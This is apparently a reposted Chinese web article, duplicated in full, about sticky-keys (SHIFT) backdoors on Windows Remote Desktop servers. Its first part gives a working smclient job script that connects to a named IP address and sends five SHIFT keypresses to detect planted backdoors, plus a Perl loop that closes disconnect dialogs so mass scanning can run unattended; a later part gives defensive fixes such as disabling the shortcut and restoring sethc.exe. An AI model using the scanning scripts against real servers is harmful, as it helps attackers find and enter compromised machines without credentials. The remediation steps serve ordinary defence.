3389遠程終端的SHIFT后門自動掃描[自動關閉錯誤連接]
發(fā)布日期：2021-12-12 21:43 | 文章來源：源碼之家
首先3389的SHIFT后門極少
其次大部分SHIFT后門都加密
所以手工一個一個嘗試是挺傻的，寫成自動掃描的話，還能讓人忍受
需要用到的工具 roboclient
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
有些SHIFT后門被改成了按7次SHIFT，或者是WIN+U后門，改改shift_backdoor.txt把功能加進去即可
自動關閉錯誤連接
#!/usr/bin/perl
use warnings;
use Win32::GUI;
use constant WM_CLOSE => 16;
sub monitor {
my $handle = Win32::GUI::FindWindow('', '中斷遠程桌面連接');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
sub monitor1 {
my $handle = Win32::GUI::FindWindow('', '斷開 Windows 會話');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
while(1){
&monitor;
&monitor1;
sleep(2);
}
shift后門的解決辦法
一日在網(wǎng)上看到了shift后門，說是按5下shift鍵服務器的系統(tǒng)盤就蹦出來了，不用輸入密碼！我一看，就懷著好奇的想法試了下果真如此，難怪我們的服務器總是出問題，查了下解決辦法現(xiàn)在發(fā)出來，希望和我一樣的菜鳥X級網(wǎng)管能有用。
打開控制面板－－輔助功能選項－－粘滯鍵－－設置－－去掉使用快捷鍵的勾
還有要改下copy.exe的權限，不過在這里推薦大家把c盤所有的程序都 改下，只有administrator才能訪問
shift后門的預防解決辦法：預防很簡單的，連敲5次shift，然后在彈出的設置里面取消連滯鍵
已經(jīng)中了的話
attrib c:\windows\system32\sethc.exe -h
attrib c:\windows\system32\dllcache\sethc.exe -h
拷貝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目錄下；拷貝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目錄下
收工！
其次大部分SHIFT后門都加密
所以手工一個一個嘗試是挺傻的，寫成自動掃描的話，還能讓人忍受
需要用到的工具 roboclient
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d
shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);
sleep(2000);
disconnect();
}
有些SHIFT后門被改成了按7次SHIFT，或者是WIN+U后門，改改shift_backdoor.txt把功能加進去即可
自動關閉錯誤連接
復制代碼
代碼如下:#!/usr/bin/perl
use warnings;
use Win32::GUI;
use constant WM_CLOSE => 16;
sub monitor {
my $handle = Win32::GUI::FindWindow('', '中斷遠程桌面連接');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
sub monitor1 {
my $handle = Win32::GUI::FindWindow('', '斷開 Windows 會話');
Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}
while(1){
&monitor;
&monitor1;
sleep(2);
}
shift后門的解決辦法
一日在網(wǎng)上看到了shift后門，說是按5下shift鍵服務器的系統(tǒng)盤就蹦出來了，不用輸入密碼！我一看，就懷著好奇的想法試了下果真如此，難怪我們的服務器總是出問題，查了下解決辦法現(xiàn)在發(fā)出來，希望和我一樣的菜鳥X級網(wǎng)管能有用。
打開控制面板－－輔助功能選項－－粘滯鍵－－設置－－去掉使用快捷鍵的勾
還有要改下copy.exe的權限，不過在這里推薦大家把c盤所有的程序都 改下，只有administrator才能訪問
shift后門的預防解決辦法：預防很簡單的，連敲5次shift，然后在彈出的設置里面取消連滯鍵
已經(jīng)中了的話
attrib c:\windows\system32\sethc.exe -h
attrib c:\windows\system32\dllcache\sethc.exe -h
拷貝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目錄下；拷貝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目錄下
收工！
版權聲明：本站文章來源標注為YINGSOO的內容版權均為本站所有，歡迎引用、轉載，請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像，否則將依法追究法律責任。本站部分內容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學習參考，不代表本站立場，如有內容涉嫌侵權，請聯(lián)系alex-e#qq.com處理。
相關文章
上一篇：
關注官方微信